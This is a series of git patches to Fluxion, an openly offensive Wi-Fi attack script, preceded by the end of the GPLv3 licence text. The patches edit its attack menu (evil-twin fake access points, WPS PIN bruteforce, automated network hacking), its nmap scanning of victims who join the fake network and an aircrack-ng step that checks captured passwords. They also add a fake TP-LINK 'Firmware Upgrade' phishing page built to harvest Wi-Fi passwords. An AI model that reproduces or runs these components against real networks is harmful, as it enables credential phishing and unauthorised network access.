permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. From 2361a211e50efcf0bd4b02f61932c70e0ff780d8 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 13 Mar 2016 15:59:14 +0200 Subject: [PATCH 036/294] correct description --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 87d2a31..36270c1 100755 --- a/fluxion +++ b/fluxion @@ -31,7 +31,7 @@ blue="\033[1;34m" transparent="\e[0m" ############################################################################################## -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] +# DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode] if [ $FLUX_DEBUG = 1 ]; then ## Developer Mode export flux_output_device=/dev/stdout From c903d8084d74599aca71af1e245ac39b3935c48b Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 18:05:56 +0400 Subject: [PATCH 037/294] Update fluxion --- fluxion | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 36270c1..4a635d2 100755 --- a/fluxion +++ b/fluxion @@ -254,13 +254,27 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo""$blue #"${blue} - echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$blue #" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" + echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" echo echo + +}function mostrarheader(){ + + conditional_clear + echo -e "$blue#########################################################" + echo -e "$blue# #" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" + echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" + echo -e "$blue# #" + echo -e "$blue#########################################################""$transparent" + echo + echo + } + ##################################### < CONFIGURACION > ##################################### From 3e1b4d8843aa2029c6e0bc0335b90d6c0ed68ade Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 18:06:44 +0400 Subject: [PATCH 038/294] Update fluxion --- fluxion | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 4a635d2..6161232 100755 --- a/fluxion +++ b/fluxion @@ -15,8 +15,8 @@ clear DUMP_PATH="/tmp/TMPflux" # Number de desautentificaciones DEAUTHTIME="30" -revision=3 -version=0.18 +revision=1 +version=0.19 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) From 467d7bffe2a12440e07400e0a8e9c02e99bf7f31 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 13 Mar 2016 16:35:07 +0200 Subject: [PATCH 039/294] force nmap ARP ping, disable host resolution --- fluxion | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 6161232..ff83c78 100755 --- a/fluxion +++ b/fluxion @@ -2821,7 +2821,7 @@ function handshakecheck { ">>$DUMP_PATH/handcheck fi - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) + echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" @@ -2839,7 +2839,7 @@ function handshakecheck { for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) + CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" From 6b296b21f544c63302fdfc0c9bad87c0616648f1 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 13 Mar 2016 16:43:59 +0200 Subject: [PATCH 040/294] correct typo introduced by https://github.com/deltaxflux/fluxion/commit/c903d8084d74599aca71af1e245ac39b3935c48b --- fluxion | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/fluxion b/fluxion index ff83c78..d687f70 100755 --- a/fluxion +++ b/fluxion @@ -261,18 +261,6 @@ function mostrarheader(){ echo echo -}function mostrarheader(){ - - conditional_clear - echo -e "$blue#########################################################" - echo -e "$blue# #" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" - echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" - echo -e "$blue# #" - echo -e "$blue#########################################################""$transparent" - echo - echo - } ##################################### < CONFIGURACION > ##################################### From cab5e001da15f209067158d26100b68a894ec408 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 13 Mar 2016 17:00:29 +0200 Subject: [PATCH 041/294] fix MAC parsing --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index d687f70..51b99ea 100755 --- a/fluxion +++ b/fluxion @@ -2827,7 +2827,7 @@ function handshakecheck { for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) + CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print $3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" From 5db68bbc4836eeea80d074a95e9863d89bf301ba Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 13 Mar 2016 17:31:31 +0200 Subject: [PATCH 042/294] fix typo --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 51b99ea..1c4d6ea 100755 --- a/fluxion +++ b/fluxion @@ -2827,7 +2827,7 @@ function handshakecheck { for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print $3}' | tr [:upper:] [:lower:]) + CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" From 26dc28a5ddeea4bdb0b032977c1655f65b6a97a9 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 13 Mar 2016 20:32:04 +0200 Subject: [PATCH 043/294] Obtain client hostname from DHCPD log. --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 1c4d6ea..9d32faa 100755 --- a/fluxion +++ b/fluxion @@ -2839,7 +2839,7 @@ function handshakecheck { CLIENTE_FABRICANTE=\"unknown\" fi - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) + CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ') '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done From 9251554d8a6345f0c86982cbb01e669ac22ea105 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 13 Mar 2016 20:51:47 +0200 Subject: [PATCH 044/294] add missing colon --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 9d32faa..1355cba 100755 --- a/fluxion +++ b/fluxion @@ -2839,7 +2839,7 @@ function handshakecheck { CLIENTE_FABRICANTE=\"unknown\" fi - CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ') '{print \$1}') + CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done From eb355846b6f46bb0fbf2de33f75cb5b93e03b10d Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Sun, 13 Mar 2016 14:32:08 -0700 Subject: [PATCH 045/294] Fixed Menu Spacing* --- fluxion | 54 +++++++++++++++++++++++++++--------------------------- 1 file changed, 27 insertions(+), 27 deletions(-) diff --git a/fluxion b/fluxion index 1355cba..3052be4 100755 --- a/fluxion +++ b/fluxion @@ -834,13 +834,13 @@ function askAP { infoap - echo "MODE FakeAP" + echo "#### Select Attack Option ####" echo " " - echo -e " "$blue"1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$blue"2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$blue"3)"$transparent" WPS-SLAUGHTER" - echo -e " "$blue"4)"$transparent" Wifite" - echo -e " "$blue"5)"$transparent" Wifi-Phisher" + echo -e " "$blue"1)"$transparent" FakeAP - Hostapd ("$red"Recommend)"$transparent")" + echo -e " "$blue"2)"$transparent" FakeAP - airbase-ng (Slower connection)" + echo -e " "$blue"3)"$transparent" WPS-SLAUGHTER - Bruteforce WPS Pin" + echo -e " "$blue"4)"$transparent" Wifite - Automated Network Hacking" + echo -e " "$blue"5)"$transparent" Wifi-Phisher - Evil Twin (Requires 2 Adapters)" echo -e " "$blue"6)"$transparent" Back" echo " " echo -n " #> " @@ -1227,12 +1227,12 @@ run_mdk3_EAPOL5() ##################################End Of Functions For MDK3 ######################################## -echo "************** - How Many Wlan WIFI_MONITORs Would You Like To Use? - ************** -1)1 WIFI_MONITOR -2)2 WIFI_MONITORs -3)3 WIFI_MONITORs -4)4 WIFI_MONITORs -5)5 WIFI_MONITORs" +echo "************** - How Many Wlan Adapters Would You Like To Use? - ************** +1)1 Adapter +2)2 Adapters +3)3 Adapters +4)4 Adapters +5)5 Adapters" read a case $a in @@ -1240,7 +1240,7 @@ case $a in clear echo -read -p " - What is the name of your Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; +read -p " - What is the name of your Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear @@ -1396,10 +1396,10 @@ menu clear echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": WIFI_MONITOR2; clear scan_for_targets @@ -1553,13 +1553,13 @@ menu 3) clear echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": WIFI_MONITOR2; clear echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": WIFI_MONITOR3; clear scan_for_targets @@ -1718,16 +1718,16 @@ menu 4) clear echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": WIFI_MONITOR2; clear echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": WIFI_MONITOR3; clear echo -read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": WIFI_MONITOR4; clear scan_for_targets @@ -1889,19 +1889,19 @@ menu 5) clear echo -read -p " - What is the name of your 1st Wlan WIFI_MONITOR (Ex:Wlan0) - ": WIFI_MONITOR1; +read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; clear echo -read -p " - What is the name of your 2nd Wlan WIFI_MONITOR (Ex:Wlan1) - ": WIFI_MONITOR2; +read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": WIFI_MONITOR2; clear echo -read -p " - What is the name of your 3rd Wlan WIFI_MONITOR (Ex:Wlan2) - ": WIFI_MONITOR3; +read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": WIFI_MONITOR3; clear echo -read -p " - What is the name of your 4th Wlan WIFI_MONITOR (Ex:Wlan3) - ": WIFI_MONITOR4; +read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": WIFI_MONITOR4; clear echo -read -p " - What is the name of your 5th Wlan WIFI_MONITOR (Ex:Wlan4) - ": WIFI_MONITOR5; +read -p " - What is the name of your 5th Wlan Adapter (Ex:Wlan4) - ": WIFI_MONITOR5; clear scan_for_targets From f7b7dd6c4e6f4a9d7ae7e4a13ee0afe9bdfac8d7 Mon Sep 17 00:00:00 2001 From: strasharo Date: Mon, 14 Mar 2016 00:16:13 +0200 Subject: [PATCH 046/294] Translate guidance messages from Spanish. --- fluxion | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 3052be4..8ec71ff 100755 --- a/fluxion +++ b/fluxion @@ -2888,11 +2888,11 @@ function handshakecheck { if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" + echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\" ">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck + echo "echo -e \"The password was saved in "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck fi echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck From 33a83f9209d6ccc9705da427f78f47bb20fc3738 Mon Sep 17 00:00:00 2001 From: William Todt Date: Mon, 14 Mar 2016 18:27:01 +0400 Subject: [PATCH 047/294] Update fluxion --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 8ec71ff..f283843 100755 --- a/fluxion +++ b/fluxion @@ -851,7 +851,7 @@ function askAP { 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) fakeapmode="WPS-SLAUGHTER"; wps; break ;; 4 ) fakeapmode="Wifite" ; wifite ; break ;; - 5 ) fakeapmode="Wifi-Phisher" wifi-phisher ; break;; + 5 ) fakeapmode="Wifi-Phisher"; break;; 6 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac From e333559e179b254f603be5723617cd83266a2bf0 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 16 Mar 2016 19:09:27 +0400 Subject: [PATCH 048/294] Create index.html --- Sites/index.html | 1407 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 1407 insertions(+) create mode 100644 Sites/index.html diff --git a/Sites/index.html b/Sites/index.html new file mode 100644 index 0000000..a155eb3 --- /dev/null +++ b/Sites/index.html @@ -0,0 +1,1407 @@ + + + + Router Configuration Page + + + + + + + + + + + + + + + + + + + +
+
+

Firmware Upgrade

+

A new version of the firmware has been detected and awaiting installation. Please review our new terms and conditions and proceed.

+
+
+
+ + +
+ +
+
+
+ + +
+
+ +
+
+
+
+ + + +
+
+

TP-LINK© 2016, All Rights Reserved.

+
+
+ + + + + + + + + + + + + + + + + From 347ae7e51336db7713b39fffdf5ad73fcf72d80d Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 16 Mar 2016 19:09:58 +0400 Subject: [PATCH 049/294] Create index.html --- Sites/Upgrade-TP-LINK/index.html | 1407 ++++++++++++++++++++++++++++++ 1 file changed, 1407 insertions(+) create mode 100644 Sites/Upgrade-TP-LINK/index.html diff --git a/Sites/Upgrade-TP-LINK/index.html b/Sites/Upgrade-TP-LINK/index.html new file mode 100644 index 0000000..a155eb3 --- /dev/null +++ b/Sites/Upgrade-TP-LINK/index.html @@ -0,0 +1,1407 @@ + + + + Router Configuration Page + + + + + + + + + + + + + + + + + + + +
+
+

Firmware Upgrade

+

A new version of the firmware has been detected and awaiting installation. Please review our new terms and conditions and proceed.

+
+
+
+ + +
+ +
+
+
+ + +
+
+ +
+
+
+
+ + + +
+
+

TP-LINK© 2016, All Rights Reserved.

+
+
+ + + + + + + + + + + + + + + + + From 637aea769838bb673e51813a2ea14ce21db4e6e0 Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 16 Mar 2016 22:06:47 +0400 Subject: [PATCH 050/294] Delete index.html --- Sites/index.html | 1407 ---------------------------------------------- 1 file changed, 1407 deletions(-) delete mode 100644 Sites/index.html diff --git a/Sites/index.html b/Sites/index.html deleted file mode 100644 index a155eb3..0000000 --- a/Sites/index.html +++ /dev/null @@ -1,1407 +0,0 @@ - - - - Router Configuration Page - - - - - - - - - - - - - - - - - - - -
-
-

Firmware Upgrade

-

A new version of the firmware has been detected and awaiting installation. Please review our new terms and conditions and proceed.

-
-
-
- - -
- -
-
-
- - -
-
- -
-
-
-
- - - -
-
-

TP-LINK© 2016, All Rights Reserved.

-
-
- - - - - - - - - - - - - - - - - From c396042cac5fb54c957c5d15b9ea4a148e59c43a Mon Sep 17 00:00:00 2001 From: William Todt Date: Wed, 16 Mar 2016 22:12:00 +0400 Subject: [PATCH 051/294] Added files via upload --- Sites/Upgrade-TP-LINK/upgrading.html | 320 +++++++++++++++++++++++++++ 1 file changed, 320 insertions(+) create mode 100644 Sites/Upgrade-TP-LINK/upgrading.html diff --git a/Sites/Upgrade-TP-LINK/upgrading.html b/Sites/Upgrade-TP-LINK/upgrading.html new file mode 100644 index 0000000..7b44784 --- /dev/null +++ b/Sites/Upgrade-TP-LINK/upgrading.html @@ -0,0 +1,320 @@ + + + + Router Configuration Page + + + + + + + + + + + + + + + + +
+
+

Firmware Upgrade In Progress

+

